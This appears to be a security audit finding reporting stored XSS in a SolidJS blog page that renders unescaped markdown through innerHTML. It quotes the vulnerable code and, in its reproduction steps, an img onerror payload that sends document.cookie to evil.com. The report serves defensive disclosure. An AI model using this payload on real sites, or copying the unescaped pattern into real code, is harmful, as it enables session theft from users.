2.8 KiB
Phase: 8 Sequence: 001 Slug: xss-in-innerhtml Verdict: VALID Rationale: Stored XSS confirmed via unsanitized markdown-to-HTML conversion with innerHTML directive; payload creation requires admin access but execution is automatically triggered by any blog viewer Severity-Original: high Severity: high PoC-Status: pending Pre-FP-Flag: none Debate: piolium/attack-surface/balanced-chamber-summary.md
Summary
The blog post rendering in web/src/routes/blog/[slug].tsx uses a custom contentToHtml() function that performs raw string concatenation without HTML escaping, combined with SolidJS's innerHTML directive that bypasses framework-level escaping. This creates a stored XSS vulnerability: any blog post containing HTML/JavaScript tags will execute in the context of every viewer's browser.
Location
web/src/routes/blog/[slug].tsxlines 14–46 (contentToHtml function)web/src/routes/blog/[slug].tsxline 121 (innerHTML binding)
Attacker Control
An admin user (or attacker with admin access via session theft, SQL injection, or credential compromise) can create a blog post containing malicious HTML/JavaScript. The payload is stored in the blogPosts.content column and rendered on every page view.
Trust Boundary Crossed
Server-side data (blog post content) → Browser execution context (innerHTML). This crosses the server-to-client trust boundary, allowing server-stored data to execute as JavaScript in the victim's browser.
Impact
Stored XSS affecting all blog post viewers. Attackers can:
- Steal session cookies and JWT tokens
- Perform actions on behalf of victims (account takeover)
- Redirect users to phishing pages
- Deface blog content
Evidence
// contentToHtml() — no HTML escaping
function contentToHtml(markdown: string): string {
const lines = markdown.split("\n");
let html = "";
for (const line of lines) {
if (line.startsWith("## ")) {
html += `<h2 class="...">${line.slice(3)}</h2>`; // No escaping
} else {
html += `<p class="...">${line}</p>`; // No escaping
}
}
return html;
}
// Line 121: innerHTML={contentHtml()} — bypasses SolidJS escaping
Reproduction Steps
- Admin creates blog post with content:
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)"> - Any user visits the blog post page
- The
contentToHtml()function renders the content without escaping - The
innerHTMLdirective renders the HTML as-is - The
onerrorhandler executes, sending the victim's cookie to the attacker's server
Defense Search Results
- CSP header includes
'unsafe-inline'in script-src — does not prevent inline script execution - CSP header includes
'unsafe-eval'in script-src — further weakens CSP - SolidJS default escaping is bypassed by the
innerHTMLdirective - No DOMPurify or similar sanitization library used